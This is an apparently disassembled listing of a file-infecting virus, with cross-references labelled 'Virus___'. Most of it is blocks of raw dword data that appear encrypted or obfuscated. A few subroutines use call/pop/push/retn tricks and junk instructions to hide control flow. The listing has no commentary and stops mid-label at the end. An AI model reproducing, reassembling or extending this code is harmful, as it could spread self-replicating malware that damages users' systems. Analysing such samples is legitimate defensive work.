		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 64F8C353h, 0EA651398h, 258589CBh,	66095D05h
		dd 0D92FF681h, 4EFE8h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 94A094A5h, 8B9A1E7Dh
		dd 5D060D8Dh, 0C9858909h, 6A095D18h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 55A2C353h
		dd 51B93B8Dh, 0BF53F2C8h, 5021D9E9h, 8DB50B53h,	5F095D14h
		dd 48BE8h, 5DBE6600h, 0A18589B0h, 57095D1Eh, 12358D2Bh
		dd 0E85E095Dh, 474h, 0F28BF78Bh, 29C58589h, 6A095Dh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 5EAA67C3h, 2515BD8Bh, 0B0095Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 42C35343h
		dd 299815CEh, 5D2AF195h, 0C9B70F09h, 6AD8B60Fh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BDEC355h, 5D1EBDB5h, 0C19D8909h, 0BA095D10h, 6, 8D12CE81h
		dd 0C38B5B04h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	99C35141h, 0F5654427h, 0C55772B3h, 308DB501h, 0E8C1095Dh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 3EC07292h, 91388892h, 0F9BF0FAAh, 6AE2F766h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 4788C351h, 0D82BD841h, 6880Fh, 9D090000h
		dd 95D16B5h, 1699B58Bh,	0B593095Dh, 0DE85033h, 9A000000h
		dd 8A2B001Fh, 6CC5DF6h,	0E9C0F3FCh, 6A935Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F1BED0C3h
		dd 0B5EB44EDh, 6E9E871h, 99000000h, 58C6FA3Ch, 9D95FFBAh
		dd 6A095D2Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0DB1AC357h, 2246C578h,	8589956Bh
		dd 95D225Dh, 55006A5Bh,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9589C792h, 95D088Dh, 2421958Dh, 8B66095Dh
		dd 6A1A89F2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 328AC352h, 0B589AEC1h,	95D2875h
		dd 89044289h, 5D233595h, 68E0F09h, 89000000h, 5D07F99Dh
		dd 0D958D09h, 89095D00h, 658D091Ah, 89095D0Bh, 0F18B0442h
		dd 0CE956h, 1B680000h, 1F0DA8D8h, 0CB883B5Dh, 8D59B2DCh
		dd 5D194595h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8D2960F0h, 95D29C1h, 6A1A89h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 4289C3C3h, 756B904h,	0F1816DB7h, 1D17B4F7h, 0B75958Dh
		dd 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 296052C3h, 5D189985h, 5B53109h, 61095D21h
		dd 81661A89h, 89CFE4D7h, 8D8B0442h, 95D19F5h, 222D8D89h
		dd 958D095Dh, 95D261Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 5DC35040h, 14B95DA5h,	892E624Ah, 51006A1Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 7455D39Ah, 89FBB16Ch, 0BD890442h, 95D2AF1h, 0A29958Dh
		dd 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 66BBC4C3h, 0F9FD304h, 682h, 85958900h, 89095D1Ah
		dd 0BB21BF1Ah, 4289184Eh, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 3BC974A0h
		dd 8B67A944h, 89958DFEh, 6A095D21h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 89F8C352h
		dd 4EED632Fh, 9531983Fh, 95D2515h, 8D8B1A89h, 95D1F19h
		dd 6A044289h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 2788C353h, 1C11540Dh, 8589D63Eh
		dd 95D29E5h, 3185958Dh,	6A095Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 512F2C3h, 0D45C5FDEh
		dd 66E4D5F0h, 10E9CF8Bh, 3E000000h, 0F8CA4C0Bh,	2C23C7ECh
		dd 5665C78Eh, 89C42E64h, 719D891Ah, 89095D0Bh, 6A0442h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 830F16C3h, 6, 2F858D23h, 0BDE9095Dh,	6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 14C7C350h, 0DEC14248h, 271E80E3h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 9B6A8C3h
		dd 5D0AE98Dh, 6A006A09h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 4419C351h, 6A006Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 20C35343h
		dd 0FFCFBF0Fh, 5D234995h, 0C3F98B09h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DAC35747h,	89EF6937h, 0B58BF864h
		dd 95D1A1Dh, 6AC58Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 530AB9C3h, 18618D8Bh, 8B5E095Dh
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8934DCF5h, 5D135D85h, 69BD8909h,	83095D29h
		dd 5D1809BDh, 9750009h,	329BD83h, 7400095Dh, 8B535019h
		dd 438B8C0h, 85890000h,	95D1311h, 0AAC89D8Dh, 0D3FF095Fh
		dd 0BD83585Bh, 95D0329h, 50177400h, 438B853h, 85890000h
		dd 95D1311h, 0A7699D8Dh, 0D3FF095Fh, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 6AC2C3h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 7EB556C3h, 52B6CE25h, 0F860Fh, 0AE90000h, 0E1000000h
		dd 5652C57Ch, 769AB96Bh, 8DC08B1Fh, 5D223985h, 8950F909h
		dd 0D7812404h, 5D4489EDh, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 1493A3C3h, 6AFB8Bh, 2311BD0Bh
		dd 8D89095Dh, 95D2AE9h,	2144858Dh, 0CE80961h, 64000000h
		dd 1720AF19h, 0D6C09A3Bh, 5B6C0598h, 6A05C083h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 7E6EC357h, 61BA9128h, 65BB6649h, 800F5001h, 2, 489AFB3h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 735290F1h, 9D2BC008h, 95D1009h, 0C7BF006Ah
		dd 6A0338ADh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 138F0F5Fh, 0E9000000h, 0Eh, 0C29CD4A8h
		dd 247DCA1Bh, 134EB9F7h, 95FF9AC3h, 95D0851h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A5C35646h, 0D98A8246h
		dd 914C8D8Dh, 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0B9CEFEC3h, 97DECD67h, 8B0FDF8Bh
		dd 0
; ---------------------------------------------------------------------------
		call	ecx
		push	0
		push	ebx
		call	sub_5ACBBD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACBBD	proc near		; CODE XREF: Virus___:005ACBB5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5ACBBD	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0FE6Ch
		dd 237DC36Ch, 971BD83h,	0F01095Dh, 9385h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 1525EACh, 77271214h,	659D8B95h, 6A095D30h, 0FDB50902h
		dd 90095D31h, 10E85250h, 8B000000h, 0CA68A098h,	44ED00Ch
		dd 84894FFBh, 564472EEh, 310F5F5Bh, 310F5250h, 585A6160h
		dd 6050585Ah, 8B663BB6h, 339061C7h, 5D2331BDh, 0C995FF09h
		dd 6A095D14h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0EBE5C352h, 597542B4h,	0F04BBB97h
		dd 0EE3E9h, 0E800h, 815D0000h, 61214EEDh, 50006A09h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 94D1930Eh, 0A1BD2B3Ch, 6A095D2Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 38A9C356h
		dd 0FE8h, 0EA22BF00h, 4C9D8E62h, 8B30FDB4h, 0BF54DBFh
		dd 6018D89h, 8D5F095Dh,	608AE285h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0D869961Bh
		dd 66F62536h, 0EB8166A9h, 0BD8B8341h, 95D19B5h,	0BBF6650h
		dd 24048925h, 26459D8Bh, 8D89095Dh, 95D07E9h, 35FF64h
		dd 0F5000000h, 258964h,	0E9000000h, 0Bh, 62431AFDh, 9C23B7EDh
		dd 0FFD6ADC3h, 5D216985h, 0FFF6A09h, 1983h, 13E800h, 85460000h
		dd 0B04D103Bh, 0CEBA1C6Dh, 0FC7B39BDh, 0E9B2D496h, 0B5FF5B2Eh
		dd 95D1849h, 3918D89h, 95FF095Dh, 95D0385h, 0D8E9h, 9D8BF800h
		dd 95D25DDh, 9D8B00B0h,	95D1195h, 0BD2370E6h, 95D2B49h
		dd 613C71E4h, 0B7830Fh,	0E5BB0000h, 0F650D29h, 0BD89C8B6h
		dd 95D1F5Dh, 6BAh, 6BC78100h, 8B387C39h, 0B96660C1h, 0EA8083CEh
		dd 0E8C1612Dh, 0D98B6604h, 66E2F766h, 2B52E0BFh, 3860FC8h
		dd 80000000h, 0D18B23CBh, 74E9h, 58C0F00h, 66000000h, 0B137E381h
		dd 2421858Bh, 0DA8A095Dh, 8007C083h, 0C08376D7h, 99D8B00h
		dd 3B095D2Bh, 14830FD0h, 9000000h, 5D1D4DB5h, 3FE909h
		dd 0BF0F0000h, 619D8BF8h, 8B095D0Fh, 5D03C18Dh,	0ED8D2909h
		dd 83095D20h, 840F01E1h, 21h, 0B10BCB81h, 0A5831EF4h, 95D03C1h
		dd 59D89FEh, 89095D11h,	5D242195h, 0FEB70F09h, 0E9h, 0C9B58D00h
		dd 6A0960BEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0E5C7C353h, 57FA8F07h,	2958763Dh
		dd 5D19A5B5h, 6A006A09h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 5B45C353h, 11B195FFh
		dd 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 4212F1C3h, 0B9FA8B33h, 80Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 6DC35141h, 24F59D8Bh
		dd 0FE8B095Dh, 6AFCE183h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0EFA2C357h,	0DA3B5748h
		dd 0BF66FE8Bh, 89FC16F4h, 5D1539BDh, 6AC02B09h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0A1ADC351h, 607C6623h, 0BAD76405h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5ACF67
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACF67	proc near		; CODE XREF: Virus___:005ACF5Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5ACF67	endp

; ---------------------------------------------------------------------------
		db 0A1h
		dd 0B86660BFh, 8C0F1358h, 19h, 14E9h, 1D320E00h, 13B8B8F7h
		dd 0CFBE6685h, 66B8B5C0h, 0AF83E58Bh, 33AD616Ah, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 923BCFC3h, 52006A03h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0BFE22E1Ah
		dd 47D45AFh, 0DDF8B66h,	88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 66C35141h, 0F9BF0FF4h, 6890Fh
		dd 0BD8B0000h, 95D1271h, 919958Bh, 6A095Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0E70C8FC3h
		dd 9952ED7h, 2EF8070h, 68D0Fh, 85890000h, 95D1455h, 13498D8Bh
		dd 8B50095Dh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7AC35747h
		dd 753A6BB9h, 12E97E41h, 5A000000h, 1DA8484Ah, 0D9FC7465h
		dd 587C7E5Ah, 0C891E620h, 0F3C781E8h, 835DAF9Eh, 5D3169BDh
		dd 840F0009h, 87h, 907ED781h, 0B80EC9h,	6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0BEC350h, 0BD296350h, 95D2A15h, 18800Fh, 13E90000h
		dd 20000000h, 86646E9Ch, 0CAC3C38Ah, 24397C15h,	0AE591A73h
		dd 9D8B6ED6h, 95D243Dh,	4D928D8Dh, 0B589095Dh, 95D1275h
		dd 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0A3A4A8C3h, 0A5BD0129h, 83095D19h, 5D15F9BDh
		dd 840F0009h, 54Fh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0EEC35646h, 95893152h, 95D29C1h, 15F9BD83h
		dd 0F01095Dh, 53984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 1E27839Dh, 10620C9Ch
		dd 8363CB80h, 5D15F9BDh, 860F0309h, 4D0h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 15C35646h, 0F581967h
		dd 684h, 0FD8D8900h, 81095D22h,	2A8E20EFh, 0BD2B6053h
		dd 95D0ABDh, 60D98C66h,	8C3C82BBh, 8061F91Bh, 0B58904E1h
		dd 95D2219h, 840FC90Ah,	1C5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 79C35242h, 0A2EB203h, 19119D89h
		dd 9D89095Dh, 95D24F5h,	2C0D858Bh, 6A095Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 571382C3h
		dd 0AEAB1EDCh, 66076150h, 5025B1BFh, 4C8826BFh,	81605B53h
		dd 0A18344F6h, 0A58D8B1Bh, 61095D32h, 27658533h, 6A095Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0DBE919C3h, 61741861h, 9D339A03h, 95D0575h, 0BE9h, 0A2048700h
		dd 9482BC40h, 79AB3F17h, 28A0F50h, 8B000000h, 240489FAh
		dd 8BFA8B66h, 5D09DDBDh, 0E8006A09h, 6,	73716EB3h, 9D894A51h
		dd 95D222Dh, 4E85Fh, 3FF0000h, 0FA8B001Fh, 0FBF6650h, 24448B07h
		dd 0D98B6604h, 0F88B008Bh, 4244489h, 5E8h, 0E714D400h
		dd 14E9166Fh, 61000000h, 233B364h, 78FA5663h, 0E29D3CCAh
		dd 6477F0C6h, 5F3A9579h, 50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C4B1FE4Bh, 0BB2CE69h
		dd 0AE8FA60h, 38000000h, 10498AE4h, 0AE72C8ABh,	0E1BD03F9h
		dd 5F095D2Eh, 0FAD95FFh, 6A095Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 11D356C3h, 11E9h, 3D082600h
		dd 8FB3E071h, 0FC498E56h, 37BC435Ch, 8589E32Bh,	960A564h
		dd 18ADB589h, 5CE9095Dh, 6A000002h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 34AAC356h
		dd 73DB8166h, 5C858B30h, 6A0960A5h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 262AC352h
		dd 0FAD371CEh, 1800C7D3h, 60000000h, 0DE9h, 0C3BF6100h
		dd 0F28DC2E6h, 40940550h, 0B96661BEh, 33612E5Dh, 5D08259Dh
		dd 60B58B09h, 0F50960A5h, 3151858Bh, 6A095Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0C86BF7C3h
		dd 68935B2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	1FC35141h, 22A18A2Ch, 87B46EACh, 0AE8h,	5ADBAC00h
		dd 0D749EBC8h, 0F443050h, 1685h, 10E800h, 0FBB0000h, 45665A31h
		dd 0E01170B2h, 10998D13h, 5B5B169Bh, 2C0D858Bh,	6A095Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 906C25C3h, 0CF817E87h, 3E9C354Ch, 0F044689h,	282h, 965B5100h
		dd 71BB6650h, 85319617h, 95D12B5h, 0A55CB5FFh, 6A0960h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8B18C3h, 95D2335h, 6199589h, 0C768095Dh, 0E81E62C3h
		dd 6, 269065B1h, 0BA600C34h, 0DE6D67h, 860Fh, 5F610000h
		dd 38243481h, 6A1E7DC0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 9220C356h, 0CECD578Ah
		dd 8B5DF18Eh, 5D1001BDh, 64858D09h, 6A0960A5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2BA1C352h, 50DE8B66h, 0E9525052h, 0Ch, 4DFD8B5Eh, 118749BBh
		dd 729A74Dh, 0FB8B310Fh, 895B585Ah, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A7BFE5C3h
		dd 0EA18C70Bh, 29D61F80h, 5D2B49BDh, 0AD95FF09h, 6A095D0Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0DD14C351h, 30C8C9E3h, 0E9A4BFECh, 0Fh, 8B1336DEh
		dd 4234AC90h, 48352AF5h, 61E9C51Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 54C35646h, 81669728h, 0BB3EA9F7h
		dd 5DC3E789h, 15F985C7h, 3095Dh, 0BD8B0000h, 95D1051h
		dd 0A564BD83h, 0F000960h, 3784h, 89DE8B00h, 5D1A6585h
		dd 45E909h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 91C95AC3h, 0D5A203E9h, 0DD8A2FDEh
		dd 3F09BB66h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0FC04C351h, 9D8993C9h,	95D064Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 13C35343h
		dd 89AFC768h, 5D03D9B5h, 0F9BD8309h, 3095D15h, 3DA850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0FEC470C3h, 2E477F74h, 6E9C5h, 0CE0D0000h
		dd 0A3C49CEh, 0A564BD83h, 0F000960h, 39F84h, 19858900h
		dd 0FF095D13h, 60A564B5h, 0F5BD8909h
		dd 0FF095D24h, 5D0A4195h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0FD44FFh, 0F993459h
		dd 684h, 0F99D0B00h, 8B095D0Fh,	60A558B5h, 2D958909h, 0C7095D28h
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0B7D1B450h, 0BCAFA577h, 11E8h, 7D40E900h
		dd 0F8FAD612h, 1944AB3Ch, 0EDC475CFh, 0BD8BB099h, 95D1F09h
		dd 8B66965Fh, 8B6650FEh, 9D8B96F8h, 95D0BA1h, 0A564B5FFh
		dd 8E0F0960h, 12h, 7E8h, 4AF22F00h, 4BF35590h, 3A9F21BBh
		dd 95FF5B5Ch, 95D05FDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 64C35545h, 0A558B58Bh, 81660960h, 8BA489CBh
		dd 5D304D85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0B70FF80Eh, 0C48689DFh, 66000000h
		dd 1FAFEB81h, 919958Bh,	6A095Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 588FD5C3h, 8BA6D3BDh
		dd 0BF987BA5h, 7BA1A012h, 6A04C283h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 614C351h
		dd 740D4774h, 30619D8Bh, 5089095Dh, 35DB8020h, 0BBC1858Dh
		dd 6A0960h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 1C4A56C3h, 0D3816649h, 86899D41h,	0B8h, 22999D8Bh
		dd 6A095Dh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 18h,	4BC35141h, 0EE1B2671h, 10E9h, 20432000h, 4992795Bh
		dd 6FEC608h, 7C3611CEh,	64B5FFD0h, 890960A5h, 5D318D95h
		dd 0C995FF09h, 6A095D14h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8161C352h, 0FE4628C3h
		dd 9E95053h, 36000000h,	0E23D2B99h, 0E97AB626h,	8B243489h
		dd 5D0FA19Dh, 64B5FF09h, 6A0960A5h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 95E2C352h
		dd 0FCD9275h, 9D89DAB7h, 95D15F5h, 137D95FFh, 0BD8B095Dh
		dd 95D1451h, 19D1BD83h,	0F00095Dh, 2584h, 50F88B00h, 1FBB5250h
		dd 0F145C3Dh, 0AE931h, 0B6550000h, 0BEB907AFh, 3AEDF738h
		dd 3489585Ah, 0E3816624h, 0B5FFABA4h, 960A564h,	0EE9h
		dd 87CBC100h, 582D2F73h, 9FF3F4Bh, 0FF4BE69Ah, 5D2F9595h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 2AAB7A68h, 8B73342Bh, 64B5FFF9h,	6A0960A5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D69AC353h, 0D613EF81h, 95FF1288h, 95D1795h
		dd 83DFBF0Fh, 5D0B11BDh, 840F0209h, 64h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 55C35040h, 8BD0210Ah
		dd 5D16EDBDh, 15858B09h, 0F5095D22h, 6A0000C6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 6F3FC356h, 11E9F35Eh, 0F7000000h, 6FAB05A1h,	0EE628Ah
		dd 23F23E20h, 47C17DE9h, 54585C7h, 95Dh, 0B5890000h, 95D099Dh
		dd 0FFF244E9h, 51006AFFh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 14CF82Ah, 7EE82B4Eh, 6AC18BE2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 87CBC353h, 582D2F73h, 8D293F4Bh, 95D19C1h
		dd 2239858Dh, 0E850095Dh, 13h, 1A42630Eh, 0B357FB2h, 0F8C154BDh
		dd 4A383B2Dh, 3158922Eh, 5D182D8Dh, 505F5F09h, 0CE8h, 0B8B9E900h
		dd 257BF01Ah, 6C107479h, 5FC2B3CDh, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0D86DC353h, 894C92BAh, 5D19F58Dh, 0B19D8B09h, 50095D04h
		dd 6A5FFCh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ah,	6CC35747h, 0A5125249h, 0BD09721Ch, 95D06F9h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0CA0B6CC3h, 0EE9D24Dh, 3D000000h, 267F0D88h,	35F915C9h
		dd 1384DC65h, 95858DD1h, 9096132h, 5D144D9Dh, 5C08309h
		dd 6E850h, 38560000h, 66BA04DFh, 5BF98B66h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 7D1EC350h, 0B19D0150h, 89095D19h,	5D0F6D95h
		dd 66006A09h, 35DDC781h, 95FF006Ah, 95D0851h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DEC35545h, 89F0E611h
		dd 5D06FD8Dh, 4C8D8D09h, 6A096091h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C316C355h
		dd 2A7983EFh, 9E8h, 70839800h, 0DE9D8078h, 0CE9C9E7h, 28000000h
		dd 5737D8A0h, 54394C70h, 5B3C51ADh, 19F59589h, 0D1FF095Dh
		dd 0BD83DA8Bh, 95D0971h, 0BE850F01h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0B6DAC356h, 8B1C5D46h, 5D0F8D9Dh, 6A026A09h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0A545C351h, 0CB382275h, 0B589962Ch, 95D2261h, 52505090h
		dd 310FDD8Ah, 7E8h, 0D969C900h,	765B778Dh, 310F5250h, 5A5B585Ah
		dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F5514C3h, 0BF6629ABh, 820FF8FCh,	3, 0FFF98B66h
		dd 5D14C995h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0ECEE9B9h, 0E80000h, 5D000000h, 329FED81h
		dd 6A0961h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 311CE8C3h, 5D03B9B5h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0FDD4875h
		dd 7402AAA3h, 9D2BA063h, 95D31E9h, 8AE2858Dh, 6A0960h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0D476C1C3h, 0FE8BDD2h, 31000000h, 8A321DCFh,	8554FF7h
		dd 616FE882h, 815B6DE4h, 0F687BDEFh, 5ECB814Ah,	900157A6h
		dd 50F98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 2531C0EBh, 12E90377h, 94000000h
		dd 0D729D728h, 972A530h, 35D49FB7h, 661514D2h, 35FF64CEh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5ADEBB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADEBB	proc near		; CODE XREF: Virus___:005ADEB3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5ADEBB	endp

; ---------------------------------------------------------------------------
		clc
		sub	esp, edx
		xchg	eax, esp
		mov	bh, 0C0h
		jmp	loc_5ADEE2
; ---------------------------------------------------------------------------
		inc	ebp
		dec	ecx
		mov	ecx, 0BB99E6D8h
		and	eax, 0F0E90CB9h


loc_5ADEE2:				; CODE XREF: Virus___:005ADED1j
